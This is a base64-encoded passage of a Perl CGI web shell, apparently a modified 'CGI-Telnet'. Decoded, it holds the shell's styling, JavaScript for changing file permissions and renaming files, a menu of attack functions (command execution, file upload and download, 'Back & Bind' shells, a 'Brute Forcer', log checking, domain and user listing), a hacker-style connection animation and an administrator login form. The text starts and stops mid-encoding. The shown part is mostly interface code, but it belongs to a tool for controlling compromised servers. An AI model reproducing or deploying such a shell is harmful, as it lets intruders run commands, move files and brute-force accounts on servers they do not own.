IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCg0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLw0KCXZhciBhamF4PSIiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQ0Kew0KCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOw0KfQ0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJdmFyIGFqYXg9IiI7DQoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7DQoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kZGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7DQoJfWVsc2UNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsNCgl9DQp9DQo8L3NjcmlwdD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KPGNlbnRlcj48Y29kZT4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+DQoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+DQoJPC90ZD4NCg0KCTx0ZD4NCg0KCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNiYjAwMDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjYmIwMDAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCg0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI2MDAiIGhlaWdoPg0KPHRib2R5Pjx0cj4NCjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+DQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj5+XCQ8L2ZvbnQ+IENvbm5lY3RlZCAhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250Pjxicj4NCg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjxmb250IGNvbG9yPSIjRjAwMDAwIj5cJDwvZm9udD48L2ZvbnQ+IE9LISBZb3UgY2FuIGtpbGwgaXQhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxicj5Mb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+by0tLVsgIDxmb250IGNvbG9yPSNmZjk5MDA+RWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL